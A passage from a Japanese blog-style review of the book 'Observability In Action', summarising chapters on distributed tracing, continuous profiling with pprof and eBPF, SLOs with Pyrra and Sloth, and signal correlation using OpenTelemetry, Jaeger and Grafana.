ReportsやKubernetes向けのOpenCostなどのツールを活用することで、コストの最適化を進められると述べられています。クラウドネイティブ時代の運用は、従来のオンプレミス環境とは大きく異なります。インフラストラクチャのプロビジョニングや設定管理の自動化、オブザーバビリティの確保、コストの最適化など、多岐にわたる課題に取り組む必要があります。本章で得られた知見は、これらの課題に立ち向かう上で、重要な指針となるでしょう。ただし、本章で取り上げられたトピックは、クラウドネイティブの運用における一部に過ぎません。たとえば、カオスエンジニアリングによるシステムの回復力向上や、AIOpsの活用による運用の自動化など、本章では触れられていない重要なテーマもあります。また、クラウドネイティブの運用プラクティスは、急速に進化し続けています。新しいツールやサービス、アプローチが次々と登場する中で、運用チームは常に学習と適応が求められます。クラウドネイティブの運用は、単なるシステムの維持ではなく、ビジネスの成功に直結する戦略的な活動です。本章で紹介された手法やツールを活用しつつ、組織の文化や目標に合わせてアプローチをカスタマイズしていくことが重要です。運用の自動化や効率化を進める一方で、チーム内のコラボレーションや、開発チームとのコミュニケーションを強化することも忘れてはなりません。8 Distributed tracing分散トレーシングでクラウドネイティブシステムを徹底的に可視化本書「Observability In Action」の第8章「Distributed tracing」では、分散トレーシングという手法を用いて、クラウドネイティブシステムの複雑な動作を可視化する方法について詳しく解説されています。著者は、モノリシックなアプリケーションではログとメトリクスだけで十分だったのに対し、マイクロサービスアーキテクチャではサービス間の関係性を追跡するために分散トレーシングが欠かせないと指摘しています。分散トレーシングは、個々のリクエストがシステム内の各サービスをどのように通過するかを追跡し、処理のフローと時間情報を記録することで、システム全体の動作を俯瞰的に把握できるようにする技術です。 各サービスはリクエストの処理過程でスパン(span)と呼ばれる情報を生成し、これらのスパンが集まってエンドツーエンドのトレース(trace)を形成します。分散トレーシングツールは、これらのトレースデータを収集、分析、可視化することで、開発者やSREがシステムの動作を理解し、パフォーマンスの問題や障害の原因を特定できるようサポートします。Figure 8.3 A single request path in the app, as a temporal (waterfall) visualization より引用本章では、分散トレーシングの基本概念とユースケースが丁寧に説明されています。トレースやスパンといった基本的な用語の定義から始まり、サンプリングやコンテキスト伝搬など、実践的な話題にも踏み込んでいます。 特に、分散トレーシングが単なるツールの導入ではなく、開発チーム全体で取り組むべき文化的な実践であるという指摘が印象的でした。また、著者自身が開発したサンプルアプリケーションを使って、Jaegerというオープンソースのトレーシングツールでマイクロサービスのトレースを可視化する手順が詳しく解説されています。実際のトレースデータを見ながら、サービスマップやウォーターフォールダイアグラムを使ってシステムの動作を分析する方法を学べるのは、大変有益だと感じました。Figure 8.7 Troubleshooting the demo microservices app: an example failure trace and the span that caused the failure より引用本章の後半では、分散トレーシングを導入・運用する上での実用的なアドバイスが提供されています。 トレースのサンプリング方法の選択、分散トレーシングにかかるコスト(オブザーバビリティ税)の見積もり方、ログやメトリクスとの使い分けなど、実際のプロジェクトで直面しそうな課題に対するヒントが豊富に盛り込まれていました。エンドツーエンドの可視化でシステムをホリスティックに理解分散トレーシングは、複雑化するクラウドネイティブシステムをエンドツーエンドで可視化し、ホリスティック(包括的)に理解するための強力な手法だと言えます。マイクロサービス間の呼び出しフローを追跡することで、システム全体のアーキテクチャを俯瞰でき、パフォーマンスのボトルネックや障害の波及経路を特定しやすくなります。また、各スパンが処理時間や結果のステータスなどの詳細情報を持つため、トレースデータを分析することで、パフォーマンスの最適化や障害対応を効率化できます。一方で、分散トレーシングの導入には一定のコストがかかることも事実です。各サービスにおける計装、トレースデータの収集・保存のためのインフラ、分析・可視化ツールの運用など、様々な側面でコストが発生します。 本章でも指摘されているように、これらのコストに見合うだけの価値が得られるかを見極めることが重要です。分散トレーシングを成功に導く秘訣分散トレーシングをプロジェクトに導入し、その恩恵を最大限に引き出すためには、単にツールを導入するだけでなく、組織文化やプロセスの変革も必要だと感じました。本章から得られた教訓をまとめると、以下のようになります。分散トレーシングをオブザーバビリティ戦略の一環として位置づけるログ、メトリクスと並ぶ重要な柱として、体系的に取り組む開発チーム全体でトレーシングの価値を共有するトレーシングがもたらすメリットを開発者に伝え、活用を促す計装を自動化し、手間を最小限に抑えるOpenTelemetryなどの自動計装を活用するトレースデータを集約し、関連情報と紐付けて分析するトレースIDを軸に、ログやメトリクスと関連づけて分析する可視化ツールを使ってトレースを直感的に理解するJaegerやZipkinなどのツールで、サービスマップやウォーターフォールダイアグラムを活用するコストとベネフィットのバランスを見極める過剰な情報収集は避け、本当に必要なスパンに絞り込む分散トレーシングの未来本章では、分散トレーシングという手法の現状について詳しく解説されていましたが、この分野は現在も活発に発展し続けています。 特に、OpenTelemetryプロジェクトが、ベンダー中立な分散トレーシングのためのオープンスタンダードとして注目を集めています。各言語のSDKやAPIの整備、自動計装の充実など、OpenTelemetryの登場により、分散トレーシングの導入が以前よりも容易になることが期待されます。また、AIOpsやオブザーバビリティプラットフォームとの連携も、分散トレーシングの今後の発展において重要なトピックだと考えられます。トレースデータを機械学習モデルで分析することで、異常検知やパフォーマンス最適化の自動化が進むかもしれません。さらに、ログやメトリクスなど他のオブザーバビリティデータとトレースを統合的に扱うプラットフォームが登場すれば、よりホリスティックなシステム理解が可能になるでしょう。組織の分散トレーシングは俺と仲間で育ててる分散トレーシングは、現代のクラウドネイティブシステムにおいて欠かせないオブザーバビリティ技術の一つです。マイクロサービス間の複雑な相互作用を可視化し、パフォーマンスや信頼性の向上に役立てることができます。本章で得られた知見は、実際のシステム開発・運用の様々な場面で活用できるはずです。一方で、分散トレーシングはシルバーバレットではありません。ツールの導入だけでなく、チーム全体でトレーシングの価値を共有し、データを効果的に活用するための文化やプロセスの変革が求められます。また、トレーシングにかかるコストを適切にコントロールし、投資対効果を見極めることも重要です。分散トレーシングに取り組む際は、本章で紹介された基本概念やベストプラクティスを押さえつつ、自分たちのシステムやチームに合ったやり方を模索していくことが大切だと感じました。オープンスタンダードの採用や、他のオブザーバビリティ実践との連携など、新しい潮流にも注目しながら、システムのエンドツーエンドの可視化を追求していきたいと思います。9 Developer observabilityDeveloper observabilityで開発者の生産性を加速する本書「Observability In Action」の第9章「Developer observability」では、Developer observabilityの概念とその実現方法について詳しく解説されています。著者は、Developer observabilityを「開発者に行動可能なインサイトを提供することで、開発速度の向上、コードのデバッグ、新機能の性能・リソース使用量の理解を可能にするテレメトリシグナルの活用」と定義しています。Efficient Goも書籍として良かったのでオススメです。日本語の「効率的なGo ―データ指向によるGoアプリケーションの性能最適化」もあるので合わせて読んでみてください。learning.oreilly.com従来、開発者は主にコードの作成に注力し、テスト、パッケージング、デプロイ、運用は他の部門が担当するのが一般的でした。しかし、Developer observabilityの登場により、開発者自身がこれらの工程に関与し、迅速なフィードバックループを確立できるようになりました。 これにより、問題の早期発見と修正が可能となり、全体的なコストを削減できます。本章では、Developer observabilityを実現する具体的な手法としてContinuous profiling(継続的プロファイリング)に焦点が当てられています。Continuous profilingを使うことで、開発者はサービスの現在のパフォーマンスとリソース使用量を把握し、コード変更前後の比較が可能になります。これにより、新機能追加によるトレードオフを定量的に評価できるようになります。著者は、Continuous profilingの基盤技術として、pprofフォーマット、Flame graph、eBPFなどを紹介しています。pprofは、Googleが開発したプロファイリングデータの可視化・分析ツールであり、プロファイルをProtocol Buffers形式で表現します。 Flame graphは、プロファイルの呼び出しスタックを視覚的に表現する手法で、eBPFはLinuxカーネルを拡張してプロファイル収集を行う仕組みです。これらの技術を理解することが、Continuous profilingを活用する上で重要だと指摘されています。Figure 9.2 An flame graph using our pprof Go example より引用本章ではまた、Parca、Pixie、Pyroscopeなど、オープンソースのContinuous profilingツールが紹介されています。これらのツールは、pprofフォーマットをサポートし、eBPFを活用してプロファイルを収集します。クラウドプロバイダーや商用ベンダーも、独自のContinuous profiling機能を提供し始めています。 AWS CodeGuru Profiler、Azure Application Insights Profiler、Google Cloud Profilerなどが代表的な例です。Figure 9.3 The eBPF call flow in the Linux kernel at a conceptual level (Source: Brendan Gregg. Licensed under CC BY 4.0) より引用さらに著者は、Continuous profilingをOpenTelemetry collectorの性能分析に活用する具体的な手順を示しています。pprofエクステンションを有効化したOpenTelemetry collectorからプロファイルを収集し、Parcaを使って可視化・分析する一連の流れが丁寧に説明されており、実践的な知見が得られます。Continuous profilingに加えて、本章ではDeveloper productivityツールについても言及されています。これらのツールは、OpenTelemetryを基盤とし、コード変更が性能やリソース使用量に与える影響を開発者に可視化します。Digma、Sprkl、Tracetest、Rookout、Autometricsなどが代表的な例として紹介されています。Digmaは、OpenTelemetryのトレースとメトリクスを分析し、コードレベルのインサイトを提供するIDEプラグインです。 開発者は、コードを編集しながら、パフォーマンス、エラー、使用状況に関するフィードバックを得ることができます。Sprklは、OpenTelemetryを使ってコードをインスツルメントし、コード変更の実行時の振る舞いを探索できるようにします。 コードレベルのトレース、システム内の他のエンティティとの関係、パフォーマンスレポートなどが提供されます。Tracetestは、OpenTelemetryのトレースを利用して、マイクロサービス間の統合テストを構築するためのツールです。 サービス間の呼び出しフローを定義し、期待されるレスポンスとトレースデータに対してアサーションを記述できます。ただし著者は、Developer observabilityツールの採用には注意が必要だと指摘しています。シンボル情報の取り扱い、プロファイルの保存とクエリ、他のテレメトリデータとの相関分析、オープンスタンダードへの準拠など、克服すべき課題が残されています。特に本番環境での利用には、パフォーマンスへの影響を慎重に見極める必要があります。Continuous profilingの技術的側面に迫る本章では、Continuous profilingの基盤となる技術について詳しく解説されていました。特に、pprofフォーマット、Flame graph、eBPFは、Continuous profilingを支える重要な要素として紹介されています。pprofは、Googleが開発したプロファイリングデータの可視化・分析ツールであり、プロファイルをProtocol Buffers形式で表現します。pprofのデータフォーマットは、Continuous profilingツールの多くが採用しており、事実上の標準となりつつあります。著者は、pprofの内部構造を詳解し、protocを使ってpprofファイルをデコードする方法も示しています。これにより、開発者はpprofの仕組みを深く理解し、より効果的にContinuous profilingを活用できるようになります。pprofのデータ構造は、Profileメッセージを中心に構成されています。 Profileメッセージには、サンプルの種類(ValueType)、収集されたサンプル(Sample)、マッピング情報(Mapping)、ロケーション情報(Location)、関数情報(Function)などが含まれます。これらのサブメッセージを組み合わせることで、プロファイリングデータが表現されるのです。Flame graphは、プロファイルの呼び出しスタックを視覚的に表現する手法です。著者は、Flame graphの読み方を丁寧に解説し、slowTask()やquickTask()といった関数の実行時間を色と幅で表現する例を示しています。Flame graphを使いこなすことで、開発者はボトルネックの特定や性能の最適化を直感的に行えるようになります。Flame graphでは、x軸方向に呼び出しスタックが並べられ、y軸方向にスタックの深さが示されます。 各関数の実行時間は、対応する長方形の幅で表現されます。これにより、どの関数がCPU時間を多く消費しているかが一目で分かります。また、呼び出し元と呼び出し先の関係も、スタックの階層構造から読み取ることができます。eBPFは、Linuxカーネルを拡張し、プロファイルの収集を可能にする仕組みです。著者は、eBPFの基本概念とContinuous profilingにおける役割を説明しています。eBPFを活用することで、アプリケーションコードに変更を加えることなく、カーネルレベルでのプロファイリングが実現できます。 ただし、eBPFを本番環境で利用するには、カーネルバージョンや設定に注意が必要だと指摘されています。eBPFプログラムは、カーネル内の特定のイベント(関数の呼び出し、リターン、パケットの受信など)にアタッチされ、イベント発生時に実行されます。これにより、カーネルの動作を詳細に観測し、必要な情報を収集することが可能になります。収集されたデータは、カーネル内のeBPFマップを介してユーザー空間に渡され、分析ツールで処理されます。これらの技術的な説明は、Continuous profilingの仕組みを深く理解する上で欠かせません。pprofやeBPFを適切に活用することで、開発者はアプリケーションの性能を正確に把握し、改善に役立てることができるでしょう。一方で、これらの技術にはそれぞれ固有の制約や課題があることも忘れてはなりません。著者が示唆するように、Continuous profilingを効果的に実践するには、技術的な理解と、トレードオフを見極める判断力の両方が求められます。プロファイルの保存と分析の課題に挑むContinuous profilingを実践する上で、プロファイルデータの保存と分析は大きな課題となります。著者は、列指向のストレージとXOR圧縮という2つのアプローチを紹介しています。列指向のストレージは、プロファイルデータを効率的に保存し、クエリを高速化するために用いられます。著者は、ParcaチームがGo言語で開発したFrostDBを例に挙げ、列指向データベースがプロファイルの保存に適していることを説明しています。FrostDBは、Apache Parquetをストレージフォーマットに、Apache Arrowをクエリエンジンに採用しており、半構造化スキーマをサポートしています。列指向ストレージでは、データが列単位で格納されます。つまり、同じ列に属するデータが連続的に配置されるのです。これにより、特定の列に対するクエリが高速化されます。また、列単位の圧縮が可能となり、ストレージ容量を大幅に削減できます。プロファイルデータは、呼び出しスタックや関数名、タイムスタンプなど、複数の列から構成されるため、列指向ストレージとの親和性が高いと言えます。一方、XOR圧縮は、プロファイルのタイムスタンプを効率的に圧縮するための手法です。著者は、Facebookのエンジニアチームが考案した「Gorilla」アルゴリズムを紹介し、タイムスタンプのデルタ値を符号化することで、ストレージ容量を大幅に削減できると説明しています。XOR圧縮では、連続するタイムスタンプの差分(デルタ)を計算し、そのデルタ値をXOR演算で符号化します。 これにより、タイムスタンプの繰り返しパターンが効果的に圧縮されます。プロファイルデータは、連続的に収集されるため、タイムスタンプの圧縮に適しているのです。XOR圧縮を適用することで、プロファイルの長期的な保存が現実的になります。これらの技術は、大規模なプロファイルデータを扱う上で重要な役割を果たします。列指向ストレージを活用することで、開発者は膨大なプロファイルを効率的に保存し、高速にクエリを実行できるようになります。XOR圧縮は、ストレージコストの削減に貢献し、長期的なプロファイルの保持を可能にします。ただし、著者も指摘するように、プロファイルデータの保存と分析には、まだ多くの課題が残されています。特に、プロファイルに対する表現力豊かなクエリ言語の確立は、喫緊の課題だと言えます。Parcaのラベルベースのクエリ言語やPyroscopeのFlameQLなど、各ツールが独自のアプローチを取っていますが、業界全体で共通の標準が求められています。加えて、プロファイルデータと他のテレメトリデータとの相関分析も、重要な研究テーマです。分散トレースやメトリクスとプロファイルを組み合わせることで、より総合的なパフォーマンス分析が可能になるはずです。しかし、現状では、これらのデータを統合的に扱うための仕組みが十分に確立されているとは言えません。Continuous profilingの本格的な実践には、これらの課題を着実に解決していく必要があります。列指向ストレージやXOR圧縮といった要素技術を活用しつつ、クエリ言語の標準化や、テレメトリデータ間の相関分析手法の確立に取り組むことが求められます。著者が強調するように、オープンスタンダードの採用と、コミュニティ全体での知見の共有が、Continuous profilingの発展に欠かせないのです。あわせて6本にしてみる...本章では、Continuous profilingを支える基盤技術と、その実践に向けた課題について深く掘り下げていました。pprofやFlame graph、eBPFといった要素技術は、Continuous profilingの中核を成すものであり、開発者がその仕組みを理解することは極めて重要です。また、列指向ストレージやXOR圧縮といった手法は、大規模なプロファイルデータを扱う上で欠かせない存在だと言えるでしょう。一方で、クエリ言語の標準化や、テレメトリデータ間の相関分析など、Continuous profilingの実践には克服すべき課題が山積みです。これらの課題に正面から向き合い、地道な改善を積み重ねていくことが、私たち開発者に求められています。オープンスタンダードの採用と、知見の共有。それが、Continuous profiling、ひいてはDeveloper observabilityを発展させるための鍵だと、私は確信しています。 一人一人の開発者が自らの経験を持ち寄り、ベストプラクティスを編み出していく。そのような協調的な取り組みこそが、Developer observabilityの真の力を引き出すのだと思います。Jaeger の作者で OpenTelemetry の共同創始者でもある Yuri Shkuro の TEMPLE: six pillars of telemetry ではObservability をTraces,Events,Metrics,Profiles,Logs,Exceptions で6 本柱としてクラウドネイティブなシステムの観測性に役立つと主張している。このような考えもあることを知っておくと良いかもです。medium.com10 Observability In ActionSLOでサービスの信頼性を定量化し、顧客満足度を高める本書「Observability In Action」の第10章「Service level objectives」では、サービス品質の定量化とその自動化に不可欠なサービスレベル目標(SLO)について詳しく解説されています。著者は、信頼性に関する規制が今後セキュリティと同様に重要になると指摘し、SLOを用いてサービスの信頼性を測定・報告することが、金融、通信、航空などの業界で注目を集めていると述べています。SLOは、サービス提供者と消費者の間で交わされるサービスレベルアグリーメント(SLA)を定量化し、自動化するための重要な手段です。SLAで約束した内容を数値化したものがSLOであり、そのSLOの達成度を実際に測定するための指標がサービスレベルインジケータ(SLI)です。つまり、SLIで測定し、SLOで目標を定め、SLAで契約を交わす、という関係になります。Figure 10.1 Interaction and dependencies between SLAs, SLOs, and SLIs より引用本章では、SLOの対象となるサービスの種類として、同期型、非同期型、特殊型の3つが挙げられています。同期型サービスはリクエスト-レスポンス型のWebサービスや、RPCベースのシステムが該当します。非同期型サービスは、メッセージキューやPub/Subシステムなどが含まれます。特殊型サービスには、バッチジョブ、ストレージ、データベースなどが含まれます。それぞれのサービス特性に応じて、適切なSLIを設定する必要があります。SLIの具体例としては、サービスの可用性、エラー率、レイテンシ、スループットなどが挙げられています。これらの指標をもとに、サービスの品質を定量的に評価し、改善のための目標(SLO)を設定します。例えば、「99.9%の可用性を維持する」「エラー率を0.1%以下に抑える」といったSLOを定めることで、サービス品質の向上を図ることができます。SLOを設定する際は、可用性と速度のバランスを考慮する必要があります。可用性を上げるためには変更を控えめにする必要がありますが、それでは新機能の追加が滞ってしまいます。逆に、変更を頻繁に行えば、可用性が下がるリスクがあります。サービスの特性に応じて、適切なSLOを設定することが重要だと著者は指摘しています。本章ではまた、PrometheusをベースとしたオープンソースのSLOツールであるPyrraとSlothについて詳しく解説されています。これらのツールを使うことで、PrometheusのメトリクスをSLIとして扱い、SLOの達成状況を容易に可視化できます。PyrraはPrometheusのレコーディングルールを生成することでSLOを実装します。ServiceLevelObjectiveリソースを定義すると、それに対応するPrometheusのルールが自動生成されます。一方、SlothはPrometheusのルールグループを生成し、SLIやエラーバジェットの計算を行います。どちらのツールもSLOの実装を大幅に簡略化してくれます。著者はまた、SLOの商用ソリューションについても言及しています。Nobl9、Datadog、Honeycomb、Dynatraceなど、多くのベンダーがSLOの機能を提供し始めていると指摘しています。特にNobl9は、SLOに特化した包括的なソリューションを提供していると紹介されています。最後に著者は、SLOを定義する際にはOpenSLOなどのオープンスタンダードを活用すべきだと強調しています。ベンダーロックインを避け、相互運用性を確保するためにも、オープンな仕様に準拠することが重要だと述べています。SLOの実装と運用における留意点本章では、SLOの実装と運用に関する具体的な留意点についても言及されていました。まず、SLOの設定には、サービスの利用者と提供者の間での合意形成が不可欠です。著者は、営業担当者、プロダクトオーナー、エンジニアリングチームが連携し、サービスの特性に応じた適切なSLOを定義すべきだと述べています。その際、エラーの許容範囲や、SLOの対象期間などを明確にすることが重要です。SLOの達成度を測定するためのSLIの設定も、慎重に行う必要があります。SLIは、サービスの品質を数値化するための指標であり、サービスの種類によって適切なものを選ぶ必要があります。著者は、REDメソッド(Rate、Errors、Duration)など、SLIの選定に関する参考資料を紹介しています。SLOの運用においては、エラーバジェットの管理が鍵を握ります。エラーバジェットとは、SLOを達成するために許容されるエラーの範囲のことです。エラーバジェットを適切に設定し、モニタリングすることで、SLOの違反を未然に防ぐことができます。エラーバジェットの消費速度(バーンレート)を追跡することも、SLOの管理に役立ちます。本章で紹介されたPyrraやSlothなどのSLOツールを活用することで、SLOの実装と運用を大幅に効率化できます。これらのツールは、PrometheusのメトリクスをSLIとして扱い、SLOのモニタリングとアラートの設定を容易にしてくれます。ただし、ツールの選定には注意が必要です。機能、性能、価格などを総合的に評価し、自社のニーズに合ったものを選ぶことが重要です。SLOの導入には、組織文化の変革も欠かせません。サービスの品質を定量的に評価し、継続的に改善していくためには、開発者、運用者、ビジネス関係者が一丸となって取り組む必要があります。SLOを中心とした品質管理のプラクティスを組織全体に浸透させ、データドリブンな意思決定を促進することが求められます。サービスの継続的な改善の為のSLO本章では、サービス品質の定量化と自動化に不可欠なSLOについて、詳細に解説されていました。SLOは、SLAで約束したサービス品質を数値化し、SLIで測定するための重要な手段です。サービスの種類に応じて適切なSLIを選定し、SLOを設定することで、サービスの継続的な改善が可能になります。SLOの実装には、PyrraやSlothなどのオープンソースツールが役立ちます。これらのツールを活用することで、PrometheusのメトリクスをSLIとして扱い、SLOのモニタリングを容易に行えます。一方、Nobl9やDatadogなどの商用ソリューションも、SLOの管理に強力な機能を提供しています。github.comsyu-m-5151.hatenablog.comSLOの運用では、エラーバジェットの管理が鍵を握ります。サービスの品質を維持しつつ、変更を加速するためには、適切なエラーバジェットの設定と消費速度の追跡が欠かせません。また、SLOの導入には組織文化の変革も必要です。サービス品質の定量的な評価と継続的な改善を、組織全体の習慣とすることが重要です。SLOは、単なる技術的な指標ではありません。それは、サービス提供者と消費者の間の信頼関係を築くための重要な手段でもあります。SLOを導入することで、サービスの品質に対する説明責任を果たし、ユーザーの満足度を高めることができるのです。本章を通して、SLOの重要性と実践的な手法について理解を深めることができました。測定できないものは改善できないと言われます。サービスの品質を定量化し、データに基づいて改善を進めていくこと。それがSLOの本質であり、私たちに求められる姿勢だと感じました。皆さんの組織では、SLOをどのように活用されていますか?PyrraやSlothなどのツールの利用経験や、SLOの運用で得られた知見などがあれば、ぜひ共有いただきたいと思います。SLOを通じて、サービスの品質と信頼性を高めていくために、私たちにできることは何でしょうか。サービスの信頼性を定量化し、顧客の期待に応えていく。そのためのアプローチとして、SLOは大きな可能性を秘めています。本章で得られた知見を活かし、SLOの実践を通じて、より信頼性の高いサービスを提供していきたいと思います。11 Signal correlationシグナル相関で複雑なシステムの動作を俯瞰的に理解する本書「Observability In Action」の最終章「Signal correlation」では、複数のオブザーバビリティシグナルを関連付けることで、クラウドネイティブシステムの動作をより深く理解する方法が解説されています。著者は、ログ、メトリクス、トレース、プロファイルといった個々のシグナルだけでは、システムの全体像を把握するのに十分ではないと指摘しています。シグナル相関は、異なるシグナルタイプを結び付けることで、より迅速かつ正確に有用な洞察を得るためのメタデータ主導のプロセスだと定義されています。マイクロサービスアーキテクチャを採用する現代のシステムは、多数のサービスが連携して一つのリクエストを処理します。そのため、障害やパフォーマンスの問題が発生した際に、どのサービスが原因となっているのかを特定するのが難しくなります。シグナル相関は、インシデント対応、根本原因分析、サービスの性能改善など、様々な場面で威力を発揮します。メトリクスからトレースへ、トレースからログへ、といったように、複数のシグナルを行き来しながら、問題の全容を明らかにできるのです。本章では、シグナル相関の基本概念として、相関スタックが紹介されています。これは、計装層、バックエンド層、フロントエンド層から構成され、相関を実現するための階層的な仕組みを表しています。Figure 11.1 The correlation stack より引用計装層では、アプリケーションコードとテレメトリエージェントが、テレメトリデータを生成し、メタデータで enrichment を行います。バックエンド層では、収集されたテレメトリデータがメタデータとともに保存され、相関のためのクエリに応える役割を担います。そして、フロントエンド層で、ユーザーがシグナル間を自在に行き来しながら、システムの動作を探索できるようになります。特に、OpenTelemetryの果たす役割の大きさが強調されています。OpenTelemetryは、セマンティック規約を通じて、リソース属性やシグナル属性といったメタデータを標準化します。これにより、ベンダーに依存しない形で、シグナル間の相関を自動化できるようになります。OpenTelemetryのリソース属性を使えば、Kubernetesのノードや、その上で動作するアプリケーションを一意に識別できます。また、シグナル属性によって、HTTPリクエストやRPCコールなど、個々のシグナルにも豊富なメタデータを付与できるのです。また、著者は相関パスという概念を導入し、あるシグナルタイプから別のシグナルタイプへの遷移を表現しています。Table 11.1 Overview of signal correlations より引用トレースからメトリクスへ、メトリクスからログへ、ログからトレースへ、といったように、様々な組み合わせが考えられます。それぞれの遷移では、関連する情報が引き継がれ、より広い文脈でシステムの動作を理解できるようになります。例えば、トレースからメトリクスへの相関では、トレースが表す分散トランザクションから、レイテンシーや、エラー率などの代表的なメトリクスを導き出せます。逆に、メトリクスからトレースへの相関では、異常な振る舞いを示すメトリクスから、その原因となっているトレースに迫ることができるでしょう。ログとトレースの相関も、非常に有用です。あるサービスのログから、そのサービスが関与するトレースを特定したり、トレースに含まれる各サービスのログを収集したりできます。これにより、分散トランザクションの流れと、各時点で記録されたイベントを突き合わせながら、問題の原因を追跡できるようになります。本章では、このようなシグナル相関の概念を、様々な角度から掘り下げています。相関を実現するためのメタデータの標準化、相関パスの種類と活用方法、OpenTelemetryを中心とするオープンな技術スタックなど、相関に関する重要なポイントが網羅的に解説されていました。OpenTelemetry、Jaeger、Grafanaを使ったメトリクスとトレースの相関本章では、メトリクスとトレースの相関を実現する具体的な方法として、OpenTelemetry、Jaeger、Grafanaを使った例が紹介されています。サンプルアプリケーションは、OpenTelemetryを使って計装され、トレースを生成します。同時に、Prometheus形式のメトリクスにトレースIDを埋め込むことで、エグゼンプラ(exemplars)を実現しています。OpenTelemetryコレクタは、トレースをJaegerに、メトリクスをPrometheusに転送します。コード例を見ると、OpenTelemetryのGoライブラリを使って、メトリクスの各ポイントにトレースIDをラベルとして埋め込んでいます。これがエグゼンプラの肝となる部分です。メトリクスを公開する際には、Prometheusの HTTP ハンドラを使い、レスポンスフォーマットとして OpenMetrics を指定しています。OpenTelemetryコレクタの設定では、Prometheusエクスポータと Jaeger エクスポータを使って、それぞれのバックエンドにデータを送信しています。Prometheusエクスポータでは、enable_open_metrics オプションを有効にすることで、エグゼンプラのサポートが有効になります。実際にエグゼンプラがどのように埋め込まれているかは、curl コマンドで /metrics エンドポイントにアクセスすることで確認できます。traceID というラベルに、トレースIDが格納されているのが分かります。Grafanaのダッシュボードでは、メトリクスのグラフ上に小さな点として表示されるエグゼンプラをクリックすることで、該当するトレースにジャンプできます。これにより、メトリクスの異常を発見した際に、すぐにトレースを確認し、問題の原因を特定できるようになります。Figure 11.2 Screenshot of the Grafana dashboard with exemplars (the small dots at the bottom) for the echo service より引用Figure 11.3 Screenshot of the Jaeger view for the echo service, focusing on the error span representing a 500 responseこのように、オープンソースツールを組み合わせることで、シグナル相関を比較的簡単に実現できることが示されています。各ツールが担う役割を理解し、適切に設定することが重要だと感じました。特に、OpenTelemetryがデータ収集の中心となり、Jaegerがトレースの保存と可視化を、Prometheusがメトリクスの保存と集計を、そしてGrafanaが相関の UI を提供するという、それぞれの得意分野を活かした構成が印象的でした。もちろん、本格的な運用のためには、データ量の増大への対応や、セキュリティの確保など、さらなる検討が必要でしょう。しかし、本章の例は、シグナル相関を実践するための第一歩として、大いに参考になると感じました。シグナル相関の実装における課題と対策本章では、シグナル相関の実装における課題についても言及されています。まず、標準化の欠如が挙げられています。APMやモニタリングツールごとに、シグナルのフォーマットや用語が異なるため、システム間で相関を行うのが難しくなります。これに対しては、OpenTelemetryのような標準化されたフレームワークを採用することが有効だと指摘されています。OpenTelemetryは、ベンダー中立なオープンスタンダードであり、多くのプログラミング言語やフレームワークをサポートしています。これにより、様々なシステムから一貫性のあるテレメトリデータを収集できるようになります。次に、メタデータの不足が課題として挙げられています。相関を実現するには、リソースや環境に関する豊富なメタデータが必要ですが、既存のシステムではそれが十分に提供されていないことが多いのです。特に、レガシーなアプリケーションや、サードパーティのAPIを利用している場合、メタデータの取得が困難を極めることがあります。ここでも、OpenTelemetryのセマンティック規約に従うことで、メタデータの自動付与が可能になります。ただし、完全な自動化は難しく、場合によってはカスタムの計装が必要になるでしょう。シグナルのボリューム、カーディナリティ、サンプリングも、相関の実装を難しくする要因です。大量のデータを処理するために、適切なインデックス設計や集計、フィルタリングが欠かせません。特に、ログデータは非構造化データであるため、関連する情報を抽出するのが一苦労です。また、メトリクスの次元が増えすぎると、カーディナリティ爆発を引き起こし、クエリのパフォーマンスが大幅に低下してしまいます。トレースのサンプリングは、データ量を抑えるための有効な手段ですが、重要なスパンが欠落してしまうリスクもあります。これらの課題に対しては、適切なアーキテクチャの選択と、きめ細かなチューニングが求められます。例えば、ログデータの処理には、Elasticsearchなどの全文検索エンジンや、FluentdやLogstashなどのログ収集基盤が役立ちます。メトリクスのカーディナリティ対策としては、PrometheusのRelabelingやRecordingRuleを活用できるでしょう。トレースのサンプリングでは、重要な操作をあらかじめ識別し、適切なサンプリングレートを設定することが重要です。データのプライバシーとセキュリティの確保も、重要な課題の一つです。法規制やコンプライアンス要件に従って、個人情報を適切にマスキングしたり、データの取り扱いを制限したりする必要があります。特に、SaaSサービスを利用する場合、データの保存場所や、アクセス制御について、慎重に検討しなければなりません。暗号化やアクセスログの監査など、セキュリティ対策も欠かせません。最後に、ユーザーエクスペリエンスの向上が求められます。せっかく相関機能を実装しても、使い勝手が悪ければ活用されません。インサイトを得やすいUIの設計や、エンドツーエンドでの一貫したサポートが重要だと指摘されています。例えば、メトリクスの異常検知から、関連するトレースやログへの seamless なナビゲーションができれば、問題の調査が大幅に効率化できるでしょう。Exploratoryなデータ分析をサポートするためには、データのクエリ性や、ビジュアライゼーションの柔軟性も欠かせません。これらの課題は、一朝一夕には解決できないかもしれません。しかし、シグナル相関の重要性を認識し、地道な改善を積み重ねていくことが大切です。特に、OpenTelemetryを中心とするオープンソースの活用と、コミュニティでの知見共有が、課題の克服に大きく役立つはずです。将来に向けたシグナル相関の可能性本章のエッセンスは、シグナル相関がオブザーバビリティの真価を引き出すための鍵だということだと思います。複雑化するシステムの動作を理解し、問題の迅速な特定と解決を実現するには、複数のシグナルを組み合わせて分析する必要があります。OpenTelemetryを活用することで、ベンダーロックインを回避しつつ、メタデータ主導の自動化された相関が可能になるでしょう。一方で、相関の実装には多くの課題が立ちはだかります。データのボリューム、カーディナリティ、プライバシーなど、技術的にも運用的にも乗り越えるべきハードルは少なくありません。しかし、著者が強調するように、これらの課題に真正面から向き合い、地道な改善を重ねていくことが重要です。シグナル相関は、オブザーバビリティの究極の目標とも言えます。全てのシグナルを横断的に分析し、システム全体の動作を俯瞰的に把握する。そこから得られる洞察は、開発者の生産性向上だけでなく、ビジネス上の意思決定にも大きな価値をもたらすはずです。セキュリティの分野でも、シグナル相関の重要性が増しています。複数のログソースを相関させることで、不正アクセスや情報漏洩の兆候をいち早く検知できます。また、トレースデータとの相関により、脆弱性の原因となるコードを特定することも可能になるでしょう。セキュリティインシデントの防止と、影響範囲の特定に、シグナル相関が大きく貢献する可能性があります。さらに、AIOpsの文脈でも、シグナル相関への期待が高まっています。機械学習やビッグデータ分析と組み合わせることで、システムの異常をリアルタイムに検知し、自動的に対処するような仕組みが実現できるかもしれません。複雑さを増すシステムの運用を、人間の手に頼らずに自動化していくために、シグナル相関が重要な基盤となるはずです。クラウドネイティブ時代のシステムは、ますます分散化・動的化が進んでいくでしょう。コンテナやサーバーレス、マイクロサービスなど、新しいアーキテクチャが次々と登場する中で、オブザーバビリティの重要性はこれまで以上に高まっています。その中で、シグナル相